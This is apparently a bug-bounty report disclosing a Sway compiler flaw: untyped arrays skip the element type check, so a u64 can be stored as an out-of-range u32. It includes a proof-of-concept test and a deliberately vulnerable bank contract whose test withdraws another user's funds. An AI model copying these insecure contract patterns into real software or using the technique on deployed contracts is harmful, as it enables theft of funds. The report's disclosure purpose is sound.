Incorrect sway compilation leading to incorrect bytecode
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
A faulty check in array element types can allow illegal values in array.
Vulnerability Details
Arrays in sway are required to use a single type for all elements. This is checked in type_check_array, and the compiler should error out if any of the elements are of different types. Because we allow type inference, it is possible the type of array elements is not provided on declaration. If element type is not provided, it will be taken from the first element of the array. However, the type inference is done after the type check, so if the array type is not provided, the check will not be enforced.
fn type_check_array(
handler: &Handler,
mut ctx: TypeCheckContext,
contents: &[Expression],
span: Span,
) -> Result<Self, ErrorEmitted> {
...
// start each element with the known array element type, or Unknown if it is to be inferred
// from the elements
let initial_type = match &*ctx.engines().te().get(ctx.type_annotation()) {
TypeInfo::Array(element_type, _) => {
(*ctx.engines().te().get(element_type.type_id)).clone()
}
_ => TypeInfo::Unknown,
};
let typed_contents: Vec<ty::TyExpression> = contents
.iter()
.map(|expr| {
let span = expr.span();
let ctx = ctx
.by_ref()
.with_help_text("")
.with_type_annotation(type_engine.insert(engines, initial_type.clone(), None));
Self::type_check(handler, ctx, expr)
.unwrap_or_else(|err| ty::TyExpression::error(err, span, engines))
})
.collect();
let elem_type = typed_contents[0].return_type;
...
}
In most cases, different element types will be caught later and cause an ICE, but if the types are u16, u32 and u64, then they will not be caught. Instead, all values are stored as 64 bit wide elements. So if we create an untyped array with a u32 as the first element, but pass a u64 as one of other elements, the array will just store the u64 value and treat it as a u32. This creates a u32 value greater than u32::max. This is clearly not acceptable.
Impact Details
Creating variables that exceed the max possible value case can cause unpredictable execution results. The exact impact is hard to estimate because it depends on how the affected contract is written, but loss of funds or bricking of contracts are both possible.
Tests are run on sway commit 014e1815de192aedc8c61f5fbbd74bbdfbd7c92a.
The u64 is inserted into the array without checking the data width, and can result in creation of a u32 that exceeds u32::max.
script;
fn main() -> () {
()
}
fn insufficient_type_check(arg: u64) -> [u32;2] {
let res = [1u32, arg];
res
}
#[test]
fn test() -> () {
let a = 4294967296;
let res = insufficient_type_check(a);
assert(res[1] <= u32::max());
()
}
We also provide a hypothetical dapp to show how this can lead to loss of funds. To run this as a unit test with forc test, you need to modify the test cli command to provide more input coins, the default is 1.
By the way, please check our other closed reports. They contain other incorrect compilation bugs, but we didn't add the loss of funds in scope impact previously, so they were closed as out of scope. I can write similar dapps with minor changes to withdraw and deposit function to demonstrate loss of funds for all of those reports, but I don't think this adds much value to what I already wrote, and will take a lot of time.
contract;
use std::hash::sha256;
use std::hash::Hash;
use std::storage::storage_api::{read, write};
use std::{
call_frames::msg_asset_id,
context::msg_amount,
asset::transfer,
bytes::Bytes,
flags::{
disable_panic_on_overflow,
enable_panic_on_overflow,
},
block::{
block_header_hash,
height,
},
primitive_conversions::{
b256::*,
u256::*,
},
};
storage {
bank: StorageMap<b256, u64> = StorageMap {},
base_fee: u64 = 0,
protocol_fee: u64 = 0,
donation: u64 = 0,
}
abi Bank {
#[payable]
#[storage(read, write)]
fn deposit_to(recipient: Address, amount: u64);
#[storage(read, write)]
fn withdraw(from: Address, to: b256, amount: u64);
}
const BASE_FEE: u32 = 1;
const PROTOCOL_FEE: u32 = 1;
impl Bank for Contract {
#[payable]
#[storage(read, write)]
fn deposit_to(recipient: Address, amount: u64) {
let amounts: [u32;3] = pack_amounts(amount);
if (msg_asset_id() != AssetId::base()) {
log("Not base asset");
revert(1);
}
//we don't want storage slot calculation to error on the -1, which is the ethereum way to lower storage slot collisions probability
let _ = disable_panic_on_overflow();
let identifier = b256::from(u256::from(sha256((block_header_hash(height() - 1).unwrap(), recipient))) - 1);
let mut total: u64 = 0;
let mut i: u64 = 0;
while i < 3 {
total += amounts[i].as_u64(); //can't overflow with u32 sum
i += 1;
}
if total > msg_amount() {
log("Invalid amount");
revert(2);
}
//each recipient can only deposit once per block
if read::<bool>(identifier, 0).is_some() {
log("Already depositted");
revert(3);
}
//accumulative results can't reallistically overflow, but we still want to check against it.
let _ = enable_panic_on_overflow();
let base_fee = storage.base_fee.read();
let protocol_fee = storage.protocol_fee.read();
let donation = storage.donation.read();
let key_for_storage: b256 = recipient.into();
let value = storage.bank.get(key_for_storage).try_read().unwrap_or(0);
write(identifier, 0, true);
storage.base_fee.write(base_fee + BASE_FEE.as_u64());
storage.protocol_fee.write(protocol_fee + PROTOCOL_FEE.as_u64());
storage.donation.write(donation + msg_amount() - total);
storage.bank.insert(key_for_storage, value + amount);
}
#[storage(read, write)]
fn withdraw(from: Address, to: b256, amount: u64) {
//from should be message sender to prevent arbitrary, but I don't want to
let key_for_storage: b256 = from.into();
if let Some(value) = storage.bank.get(key_for_storage).try_read() {
storage.bank.insert(key_for_storage, value - amount);
__smo(to, "withdraw", amount);
} else {
log("Failed to get value from bank");
revert(2);
}
}
}
fn pack_amounts<T>(amount: T) -> [u32;3] {
let amounts = [BASE_FEE, PROTOCOL_FEE, amount];
amounts
}
#[test]
fn _failure_to_loss_of_funds() -> () {
const ADDRESS_ALICE = Address::from(0x0000000000000000000000000000000000000000000000000000000000000001);
const ADDRESS_BOB = Address::from(0x0000000000000000000000000000000000000000000000000000000000000002);
let bank = abi(Bank, CONTRACT_ID);
bank.deposit_to{asset_id : AssetId::base().into(), coins: 1}(ADDRESS_ALICE, 0xfffffffffffffffe); //this should fail
bank.deposit_to{asset_id : AssetId::base().into(), coins: 3}(ADDRESS_BOB, 1);
bank.withdraw(ADDRESS_ALICE, 0x0000000000000000000000000000000000000000000000000000000000000010, 4); //alice steals funds
()
}
